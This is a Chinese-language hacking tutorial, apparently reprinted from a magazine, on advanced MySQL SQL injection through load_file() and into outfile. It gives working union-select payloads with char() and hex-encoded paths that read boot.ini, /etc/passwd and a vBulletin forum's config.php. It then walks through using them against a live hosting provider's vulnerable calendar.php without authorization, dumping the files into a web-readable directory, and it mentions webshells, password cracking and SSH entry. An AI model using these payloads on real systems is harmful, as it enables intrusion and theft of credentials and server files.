Advanced SQL Injection with MySQL

文/图 安全天使·angel[BST]

前言

  我的《SQL Injection with MySQL》(《黑客防线》7月的专题)已经对MySQL的注入有了比较全面的介绍了,但是有一个危害相当大的函数,我并没有在文中提及,因为如果能灵活应用这个函数,那PHP甚至服务器的安全性均会大打折扣,由于《SQL Injection with MySQL》的发表时间是在暑假期间,考虑到很多新手、学生和品德败坏的人乱用,所以我并没有把这个写在该文里,其实本文在5月初已写完。专题发表后,很多人已经陆续转到PHP+MYSQL注入的研究,很多新技术将会陆续挖掘出来,我们所掌握这方面未公开的高级技巧也会陆续公布出来。至于比较基础的东西,本文就不再提了。

详细

  我们知道,在SQL语句中,可以使用各种MySQL内置的函数,经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()这些函数来获取一些系统的信息,还有一个应用得比较多的函数,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。
  看到这里,应该可以想到我们可以做什么了,就是读取一些机密文件,但是也是有条件限制的:

  • 欲读取文件必须在服务器上
  • 必须指定文件完整的路径
  • 必须有权限读取并且文件必须完全可读
  • 欲读取文件必须小于 max_allowed_packet

  如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想load_file出来。

  在实际的注入中,我们有两个难点需要解决:

  • 绝对物理路径
  • 构造有效的畸形语句

  在很多PHP程序中,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。构造语句已经是小意思了。

利用

  我们假设一个程序的SQL语句如下:

SELECT * FROM article WHERE articleid=$id

  注:当前条件:magic_quotes_gpc = off,c:/boot.ini可读。

  此时,我们构造$id为:

-1 union select 1,1,1,1,load_file('c:/boot.ini')

  我们的Query就变成:

SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')

  程序会把c:/boot.ini内容老老实实显示出来,但是现在magic_quotes_gpc = off的主机少之又少,怎么才能构造出没有引号的语句呢?看过《SQL Injection with MySQL》的朋友肯定知道用char()函数或者把字符转换成16进制,没错,就是它们。

  注:当前条件:magic_quotes_gpc = on,c:/boot.ini可读。

  我们构造$id为:

-1 union select 1,1,1,load_file(char(99, 58, 47, 98, 111, 111, 116, 46, 105, 110, 105))

  “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码,我们的Query就变成:

SELECT * FROM article WHERE articleid=-1 union select 1, 1, 1, load_file(char(99, 58, 47, 98, 111, 111, 116, 46, 105, 110, 105))

  我们也可以成功的读取boot.ini文件,还有把字符串转换为16进制的,“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”,所以上面的语句可以是这样:

SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

  比较短了,看各人喜好了,大家可以在phpmyadmin或mysql>下输入以下查询慢慢研究。

SELECT load_file([string])

  当然,在实际应用中,由于种种条件限制,文件的内容未必会显示出来,我们也可以用into outfile把文件导出。大家已经知道如何利用了,我也不说细节了,看一个实例说明一切。

实例

  www.***host.cn是我国著名的FreeBSD主机提供商,我们就拿他来测试,因为它的论坛采用的是calendar.php存在问题的VBB论坛,我就不需要到处去找有漏洞的站点了(虽然到处都是)。这是一次完整的安全测试。仅仅获取信息,我并未进入服务器。

  这里补充说明一点关于VBB的根目录下global.php的一段代码,如下:

<?php
// get rid of slashes in get / post / cookie data
function stripslashesarray (&$arr) {
    while (list($key,$val)=each($arr)) {
        if ($key!="templatesused" and $key!="argc" and $key!="argv") {
            if (is_string($val) AND (strtoupper($key)!=$key OR ("".intval($key)=="$key"))) {
                $arr["$key"] = stripslashes($val);
            } else if (is_array($val) AND ($key == 'HTTP_POST_VARS' OR $key == 'HTTP_GET_VARS' OR strtoupper($key)!=$key)) {
                $arr["$key"] = stripslashesarray($val);
            }
        }
    }
    return $arr;
}
if (get_magic_quotes_gpc() and is_array($GLOBALS)) {
    if (isset($attachment)) {
        $GLOBALS['attachment'] = addslashes($GLOBALS['attachment']);
    }
    if (isset($avatarfile)) {
        $GLOBALS['avatarfile'] = addslashes($GLOBALS['avatarfile']);
    }
    $GLOBALS = stripslashesarray($GLOBALS);
}

set_magic_quotes_runtime(0);

?>

  这段代码的作用就是如果magic_quotes_gpc打开,就去掉所有特殊字符的前面的转义字符,所以,不管php.ini里magic_quotes_gpc的状态如何,我们输入的单引号都没有影响的,大家可以放心注入。呵呵。

  我们知道,提交:

/calendar.php?action=edit&eventid=1 UNION SELECT 1, 1, 1, 1, username, password FROM user WHERE userid=1

  是可以获取用户名和密码MD5散列的,但是由于特殊原因,并没有显示出来,但凭我的经验,知道并没有构造错,所以我们可以读取并导出成文件。
  因为事先我无意中访问到了含有phpinfo()的文件,所以知道了WEB的绝对路径,从访问站点的结果,发现一个下载系统是生成HTML文件的,如果那个目录没有可写权限,是不能生成HTML文件的,不过这一切都不是本文的重点,我们现在掌握如下信息:

  • WEB绝对路径:/home/4ngel
  • 可写目录路径:/home/4ngel/soft/
  • magic_quotes_gpc = on

  和主机root相比,论坛的admin根本就不算什么,我对论坛admin也不感兴趣,我们要读取论坛的配置文件还有/etc/passwd,知道MySQL的连接信息,可以从这里入手,写webshell或其他的东西,知道/etc/passwd我们可以跑密码。直接从ssh上去。

  VBB论坛的配置文件在/home/4ngel/forum/admin/config.php,转换成ASCII代码,提交:

calendar.php?action=edit&eventid=1 UNION SELECT 1, 1, 1, 1, 1, load_file(char(47, 104, 111, 109, 101, 47, 52, 110, 103, 101, 108, 47, 102, 111, 114, 117, 109, 47, 97, 100, 109, 105, 110, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104, 112)) FROM user WHERE userid=1 into outfile '/home/4ngel/soft/cfg.txt'

  呵呵,记得加一个where来定一个条件,否则如果论坛用户很多,那么导出的文件会相当大。或者干脆指定$eventid为一个不存在的值,就不用where了,就像这样:

calendar.php?action=edit&eventid=-1 UNION SELECT 1, 1, 1, 1, 1, load_file(char(47, 104, 111, 109, 101, 47, 52, 110, 103, 101, 108, 47, 102, 111, 114, 117, 109, 47, 97, 100, 109, 105, 110, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104, 112)) FROM user into outfile '/home/4ngel/soft/cfg.txt'

  /etc/passwd转换成ASCII代码,提交:

calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1, load_file (char(47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100)) FROM user into outfile '/home/4ngel/soft/etcpwd.txt'

  注意看到论坛的顶部,会出现下面的错误提示:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/4ngel/forum/admin/db_mysql.php on line 154

  经验告诉我们,文件导出成功了,提交:

http://www.xxxhost.cn/soft/cfg.txt
http://www.xxxhost.cn/soft/etcpwd.txt

  内容哗啦啦的出来了,而黑夜和猪蛋的他们入侵灰色的时候,一个个显示密码,欺骗,登陆后台,上传后门,读取config.php,一连串的步骤,我一个load_file()就搞定了。是不是危害很大?如图:

  我记得在某个群里讨论到大家都是通过搞9****.net这个站,而进入黑白服务器的,没有办法对黑白横冲直闯,只得来曲线的。用load_file()函数,知道了某些信息就可以进入黑白所在的服务器,过程和上面的一样,利用show.php的漏洞,直接load_file出程序的配置文件,知道了mysql的信息,远程连接,写数据库导出文件,很容易获得服务器admin。

后记

  由于危害太大,我一直都不太敢发布,相信国内也有人知道的。只是不公开而已。经过再三考虑还是决定发布了,希望大家掌握了以后,不要对国内的站点做任何具有破坏性的操作。谢谢合作!

(0)

相关推荐

  • Advanced SQL Injection with MySQL

    文/图 安全天使·angel[BST] 前言 我的<SQL Injection with MySQL>(<黑客防线>7月的专题)已经对MySQL的注入有了比较全面的介绍了,但是有一个危害相当大的函数,我并没有在文中提及,因为如果能灵活应用这个函数,那PHP甚至服务器的安全性均会大打折扣,由于<SQL Injection with MySQL>的发表时间是在暑假期间,考虑到很多新手.学生和品德败坏的人乱用,所以我并没有把这个写在该文里,其实本文在5月初已写完.专题发表后,

  • SQL Injection with MySQL 注入分析

    声明 本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试.绝对真实.如果有什么遗漏或错误,欢迎来安全天使论坛和我交流. 前言 2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称

  • php SQL Injection with MySQL

    前言 2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说说其定义和原理.如果哪位高手已经达到炉火纯青的地步,不妨给本文挑点刺.权当指点小弟. 关于php+Mysql的注入 国

  • 用PHP函数解决SQL injection

    SQL injection问题在ASP上可是闹得沸沸扬扬当然还有不少国内外著名的PHP程序"遇难".至于SQL injection的详情,网上的文章太多了,在此就不作介绍.如果你网站空间的php.ini文件里的magic_quotes_gpc设成了off,那么PHP就不会在敏感字符前加上反斜杠(\),由于表单提交的内容可能含有敏感字符,如单引号('),就导致了SQL injection的漏洞.在这种情况下,我们可以用addslashes()来解决问题,它会自动在敏感字符前添加反斜杠.

  • vBulletin Forum 2.3.xx SQL Injection

    vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php. -------- Cut from line 585 in calendar.php ----------else if ($action == "edit"){      $eventinfo = $DB_site->query_first("SELECT allowsmilies,publ

  • Discuz! 4.x SQL injection / admin credentials disclosure exploit

    前段时间发过Discuz! 5.0.0 GBK版本的EXP 今天在CN.Tink那里看到的4.x的,我去原站转了过来,然后找了个Discuz! 4.1.0测试了一下,成功,看下面截图,Discuz! 5.0.0 GBK版本的那个EXP又许多朋友不知道怎么用,当时我说了下,还是有朋友不明白,这次我截了图上来,不知道怎么用的朋友看下应该明白的. 图: 复制代码 代码如下: <?php print_r(' ------------------------------------------------

  • 使用SQL语句查询MySQL,SQLServer,Oracle所有数据库名和表名,字段名

    MySQL中查询所有数据库名和表名 查询所有数据库 show databases; 查询指定数据库中所有表名 select table_name from information_schema.tables where table_schema='database_name' and table_type='base table'; 查询指定表中的所有字段名 select column_name from information_schema.columns where table_schema

  • 详解一条sql语句在mysql中是如何执行的

    概览 最近开始在学习mysql相关知识,自己根据学到的知识点,根据自己的理解整理分享出来,本篇文章会分析下一个sql语句在mysql中的执行流程,包括sql的查询在mysql内部会怎么流转,sql语句的更新是怎么完成的. 一.mysql架构分析 下面是mysql的一个简要架构图: mysql主要分为Server层和存储引擎层 Server层:主要包括连接器.查询缓存.分析器.优化器.执行器等,所有跨存储引擎的功能都在这一层实现,比如存储过程.触发器.视图,函数等,还有一个通用的日志模块 bing

  • Python使用sql语句对mysql数据库多条件模糊查询的思路详解

    def find_worldByName(c_name,continent): print(c_name) print(continent) sql = " SELECT * FROM world WHERE 1=1 " if(c_name!=None): sql=sql+"AND ( c_name LIKE '%"+c_name+"%' )" if(continent!=None): sql=sql+" AND ( continent

  • 一条SQL语句在MySQL中是如何执行的

    目录 一.mysql架构分析 1.1 连接器 1.2 查询缓存 1.3 分析器 1.4 优化器 1.5 执行器 二.语句分析 2.1 查询语句 2.2 更新语句 三.总结 一.mysql架构分析 下面是mysql的一个简要架构图: mysql主要分为Server层和存储引擎层 Server层:主要包括连接器.查询缓存.分析器.优化器.执行器等,所有跨存储引擎的功能都在这一层实现,比如存储过程.触发器.视图,函数等,还有一个通用的日志模块 binglog日志模块. 存储引擎: 主要负责数据的存储和

随机推荐